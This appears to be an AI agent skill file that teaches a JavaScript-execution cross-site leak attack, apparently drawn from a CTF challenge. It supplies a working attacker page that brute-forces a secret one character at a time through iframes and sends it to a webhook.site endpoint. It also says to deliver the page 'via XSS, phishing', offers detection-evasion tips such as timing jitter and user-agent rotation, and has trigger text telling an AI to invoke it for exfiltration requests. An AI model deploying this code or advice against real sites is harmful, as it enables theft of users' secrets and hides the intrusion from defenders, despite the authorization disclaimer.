Hacktricks-skills javascript-execution-xs-leak

How to perform JavaScript execution XS (cross-site) leak attacks for security testing. Use this skill when you need to extract data from a target through JavaScript execution patterns, especially when dealing with XSS vulnerabilities that can communicate with parent windows or external endpoints. Make sure to use this skill whenever the user mentions XSS data exfiltration, JavaScript-based data leaks, cross-origin communication attacks, or needs to extract secrets/flags through JavaScript execution.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/javascript-execution-xs-leak/SKILL.MD
source content

JavaScript Execution XS Leak

A technique for extracting data from a target through JavaScript execution patterns, leveraging cross-origin communication to leak information character-by-character.

What This Technique Does

This attack exploits JavaScript execution in XSS vulnerabilities to:

  • Extract secrets, flags, or sensitive data character-by-character
  • Use timing-based or callback-based detection to determine correct values
  • Communicate results to an attacker-controlled endpoint
  • Work even when direct data exfiltration is blocked

When to Use This

Use this technique when:

  • You have an XSS vulnerability that allows JavaScript execution
  • Direct data exfiltration is blocked or filtered
  • You need to extract secrets that are validated server-side
  • The target makes requests to external endpoints with user-controlled data
  • You're performing authorized security testing

Core Concept

The attack works by:

  1. Server-side: Target accepts input and makes requests to external endpoints with that input
  2. Client-side: Attacker creates iframes that test each possible character
  3. Detection: If a character is correct, the server doesn't trigger a callback; if wrong, it does
  4. Extraction: Build the secret character-by-character until complete

Implementation Template

Server-Side Vulnerable Code Pattern

// This is what the vulnerable target looks like
app.get("/guessing", function (req, res) {
  let guess = req.query.guess
  let page = `<html>
                <head>
                    <script>
                        function foo() {
                            // This executes if the guess is WRONG
                            window.parent.foo()
                        }
                    </script>
                    <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
                </head>
                <p>hello</p>
              </html>`
  res.send(page)
})

Attacker's Main Page

<html>
  <head>
    <script>
      let candidateIsGood = false
      let candidate = ""
      let flag = "bi0sctf{"  // Known prefix
      let guessIndex = -1

      // Character set to test (adjust based on target)
      let flagChars =
        "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

      // Called from iframe IF the candidate is WRONG
      function foo() {
        candidateIsGood = false
      }

      timerId = setInterval(() => {
        if (candidateIsGood) {
          flag = candidate
          guessIndex = -1
          // Send the flag to your webhook
          fetch("https://webhook.site/<your-webhook>?flag=" + flag)
        }

        // Start with true, will be changed to false if wrong
        candidateIsGood = true
        guessIndex++
        
        if (guessIndex >= flagChars.length) {
          // All characters tested, flag complete
          fetch("https://webhook.site/<your-webhook>")
          return
        }
        
        let guess = flagChars[guessIndex]
        candidate = flag + guess
        
        // Create iframe to test this character
        let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
        console.log("Testing: ", candidate)
        hack.innerHTML = iframe
      }, 500)
    </script>
  </head>
  <p>hello</p>
  <div id="hack"></div>
</html>

Step-by-Step Execution

1. Identify the Vulnerability

Look for endpoints that:

  • Accept user input in query parameters
  • Make requests to external endpoints with that input
  • Execute JavaScript based on input validation
  • Have callbacks that can be triggered from iframes

2. Set Up Your Webhook

Create a webhook endpoint to receive leaked data:

# Use webhook.site or similar service
curl -X POST https://webhook.site/your-unique-id

3. Craft the Attack Page

  1. Set your known prefix (e.g.,
    flag{
    ,
    bi0sctf{
    )
  2. Define the character set to test
  3. Create the iframe injection logic
  4. Set up the callback detection

4. Deploy and Monitor

  1. Host your attack page on a domain you control
  2. Serve it to the target (via XSS, phishing, etc.)
  3. Monitor your webhook for results
  4. The flag will be sent when complete

Character Set Variations

Adjust

flagChars
based on the target:

// Standard CTF flag format
let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// Base64
let flagChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

// Hex
let flagChars = "0123456789abcdef"

// Alphanumeric only
let flagChars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

// Include special characters
let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()"

Optimization Tips

Reduce Request Count

// Binary search approach for large character sets
function binarySearch(chars, callback) {
  let left = 0
  let right = chars.length - 1
  
  while (left <= right) {
    let mid = Math.floor((left + right) / 2)
    // Test if character is in first half
    // Adjust based on your detection mechanism
  }
}

Parallel Testing

// Test multiple characters simultaneously
const MAX_IFRAMES = 5
let currentIframes = 0

function testCharacter(char) {
  if (currentIframes >= MAX_IFRAMES) return
  
  currentIframes++
  let iframe = document.createElement('iframe')
  iframe.src = `/guessing?guess=${flag}${char}`
  iframe.onload = () => {
    currentIframes--
    // Handle result
  }
  hack.appendChild(iframe)
}

Error Handling

// Add timeout and retry logic
let timeoutId = setTimeout(() => {
  // Handle timeout - character might be correct
  candidateIsGood = true
}, 2000)

function foo() {
  clearTimeout(timeoutId)
  candidateIsGood = false
}

Detection Evasion

Obfuscate Your Attack

// Split the character set across multiple requests
let chunk1 = "_0123456789abcdefghijklmnopqrstuvwxyz"
let chunk2 = "}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// Use different timing patterns
let delays = [500, 750, 1000, 600, 800]
let delayIndex = 0

setInterval(() => {
  let delay = delays[delayIndex % delays.length]
  delayIndex++
  // ... rest of logic
}, delay)

Rotate User Agents

const userAgents = [
  'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
]

// Rotate through user agents for each request

Safety and Ethics

⚠️ IMPORTANT: Only use this technique on systems you have explicit authorization to test.

  • Authorized testing only: Never use this on systems without permission
  • Document your findings: Record what you discover for the target organization
  • Respect scope: Stay within the boundaries of your authorization
  • Legal compliance: Ensure your testing complies with applicable laws

Common Use Cases

  1. CTF Challenges: Extract flags from vulnerable web applications
  2. Bug Bounty: Find and report XSS vulnerabilities with data exfiltration potential
  3. Penetration Testing: Assess the impact of XSS vulnerabilities
  4. Security Research: Understand the mechanics of JavaScript-based data leaks

Troubleshooting

Issue: Callback not being triggered

Solution: Check that:

  • The iframe is loading correctly
  • The callback function is accessible from the iframe
  • There are no CORS issues blocking the communication

Issue: Attack too slow

Solution:

  • Reduce the delay between character tests
  • Test multiple characters in parallel
  • Use a smaller character set if you know the format

Issue: Webhook not receiving data

Solution:

  • Verify your webhook URL is correct
  • Check for CORS issues
  • Ensure the fetch request is not being blocked
  • Try a different webhook service

Related Techniques

  • DNS exfiltration: Use DNS queries to leak data
  • HTTP exfiltration: Direct HTTP requests to attacker-controlled endpoints
  • Timing attacks: Use response times to extract data
  • Image exfiltration: Encode data in image requests

References